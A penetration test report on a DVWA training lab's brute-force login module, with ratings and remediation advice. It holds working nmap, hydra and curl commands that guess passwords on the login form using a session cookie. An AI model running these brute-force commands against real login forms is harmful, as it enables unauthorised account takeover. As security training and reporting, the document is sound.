Some sort of logo

DVWA Penetration Test

Brute Force (Authentication) Assessment

by Ryyni-CK

Target: http://193.167.189.112:2167/

Start of testing: August 1, 2026

End of testing: August 1, 2026

1. Executive Summary

A security assessment was performed against the Damn Vulnerable Web Application (DVWA) instance, focusing on the **Brute Force** login module. Testing confirmed the login form applies no anti-automation controls – no rate limiting, account lockout, or CAPTCHA – allowing an automated tool to attempt unlimited credential guesses. Combined with a weak account password, valid credentials were recovered in seconds.

The attack was conducted from the exercise's designated attack host: the target was discovered with `nmap` and the login form was attacked with `hydra` using an authenticated session cookie. One finding of **High** severity is reported.

Finding	Severity
Login form permits unlimited credential brute-forcing (no rate limiting)	High

2. Scope and Objectives

The assessment was limited to the target and objective below. All offensive commands were executed only from the provided attack host against the internal target.

Item	Detail
Target application	Damn Vulnerable Web Application (DVWA) v1.9
Module under test	Brute Force (login form)
Security level	low
Target host	173.2.76.4 (found via nmap: 80/http + 3306/mysql open)
Form	GET request to /vulnerabilities/brute/
Tooling	nmap (discovery), hydra (brute force)
Objective	Recover valid credentials for a user account by brute-forcing the login form.

3. Methodology

Testing followed a standard authentication-testing approach aligned with the OWASP Testing Guide:

- **Session capture.** A valid PHPSESSID was taken from the browser so the tool could reach the form.
- **Discovery.** The target host was identified with an nmap scan of the local subnet.
- **Attack.** Hydra replayed the login GET request across username/password wordlists.
- **Verification.** The recovered credentials were confirmed against the live login form.

4. Detailed Finding – Credential Brute Force

Attribute	Value
Vulnerability	Improper Restriction of Excessive Authentication Attempts
Location	Brute Force module, /vulnerabilities/brute/ login form
Severity	High
CVSS v3.1	8.1 – AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
CWE	CWE-307 (No rate limiting) / CWE-521 (Weak password)
OWASP	A07:2021 – Identification and Authentication Failures

4.1 Description

The login form accepts unlimited authentication attempts with no throttling, lockout, backoff, or CAPTCHA. An attacker can therefore automate credential guessing at high speed. In combination with a weak, common password on the target account, this makes credential recovery trivial. The form is a GET request, and the vulnerable page requires an authenticated session, so the attack supplies a valid PHPSESSID cookie.

4.2 Steps to Reproduce

Step 1 – Capture a session. Copy the `PHPSESSID` cookie from the browser (developer tools) while the Brute Force page is open.

Step 2 – Discover the target from the attack host:

```
sudo ifconfig                 # eth0 -> inet 173.2.76.2  (subnet 173.2.76.0/24)
sudo nmap -F 173.2.76.0/29    # pick the host with 80/http AND 3306/mysql open
# -> crvekruh_dvwa_1.crvekruh_dvwa_lan (173.2.76.4)
```

Step 3 – Brute-force the form with hydra (replace the session value). Note the failure string is a single word – see 4.3 for why:

```
hydra 173.2.76.4 -F -V -L /usr/share/usernames -P /usr/share/common.txt \
  http-get-form "/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login:\
  F=incorrect:H=Cookie: PHPSESSID=<session>; security=low"
```

Hydra flags any response lacking the `F=` failure string as a valid login and (`-F`) stops on the first hit. The genuine hit landed deep in the list:

```
[80][http-get-form] host: 173.2.76.4   login: richard   password: **** [REDACTED]
1 of 1 target successfully completed, 1 valid password found   (hit ~attempt 38,900)
```

Step 4 – Verify. The recovered credentials log in successfully on the DVWA Brute Force page (welcome message rather than the incorrect-credentials error), confirming the result is genuine.

4.3 Troubleshooting: false positives

Initial runs finished almost instantly and reported credentials that did not actually log in (`seppo/12345678`, then `qwerty` on a re-run). An impossible login (`-l zzz -p zzz`) was also

reported as valid, proving the match logic was broken – Hydra flagged every response as success because the failure string never matched. The request was verified independently with curl, which returned the genuine success page ("Welcome to the password protected area"), confirming the session and request were correct. The root cause was that a multi-word match string (containing spaces) is mishandled by Hydra's option parser. Reducing the condition to a single word – `F=incorrect` – fixed detection; the known-good admin credential then validated correctly before the real run.

```
# ground-truth check that isolated the bug:
curl -s "http://173.2.76.4/vulnerabilities/brute/?username=admin&password=<known>&Login=Lo
  -H "Cookie: PHPSESSID=<session>; security=low" | grep -i welcome
```

4.4 Impact

Successful brute force yields account takeover. Consequences include:

- Full access to the compromised account and its data/actions.
- At scale, compromise of many accounts via password spraying against the same unthrottled form.
- A foothold that unlocks the rest of the application's authenticated functionality.

4.5 Remediation

Two independent weaknesses combine here; fix both:

- **Restrict authentication attempts (CWE-307).** Enforce per-account and per-IP rate limiting, exponential backoff, and temporary lockouts after repeated failures.
- **Enforce strong passwords (CWE-521).** Require length/complexity and screen against known-breached and common-password lists.
- **Add multi-factor authentication** so a correct password alone is insufficient.
- **Deploy CAPTCHA / bot detection** after a small number of failures to break automation.
- **Monitor and alert** on brute-force patterns; avoid error messages that reveal whether the username or the password was wrong.

5. Conclusion

The DVWA Brute Force login form is vulnerable to unrestricted credential brute-forcing: it applies no rate limiting or lockout, and the target account uses a weak, common password. Using nmap for discovery and hydra against the form with a valid session cookie, the credentials `richard` / (redacted) were recovered and verified. The issue should be remediated with attempt throttling/lockout, strong-password enforcement, and MFA. The finding is rated High severity.

Appendix A – Command Log

```
# discovery
sudo ifconfig
sudo nmap -F 173.2.76.0/29

# debug (ground truth) - isolate the parser bug
curl -s "http://173.2.76.4/vulnerabilities/brute/?username=admin&password=<known>&Login=Log
  -H "Cookie: PHPSESSID=<session>; security=low" | grep -i welcome

# the working attack (single-word F=)
hydra 173.2.76.4 -F -V -L /usr/share/usernames -P /usr/share/common.txt \
  http-get-form "/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login:\
  F=incorrect:H=Cookie: PHPSESSID=<session>; security=low"
```

Produced for an authorised security training exercise against an intentionally vulnerable application (DVWA), from the exercise's designated attack host. Confidential.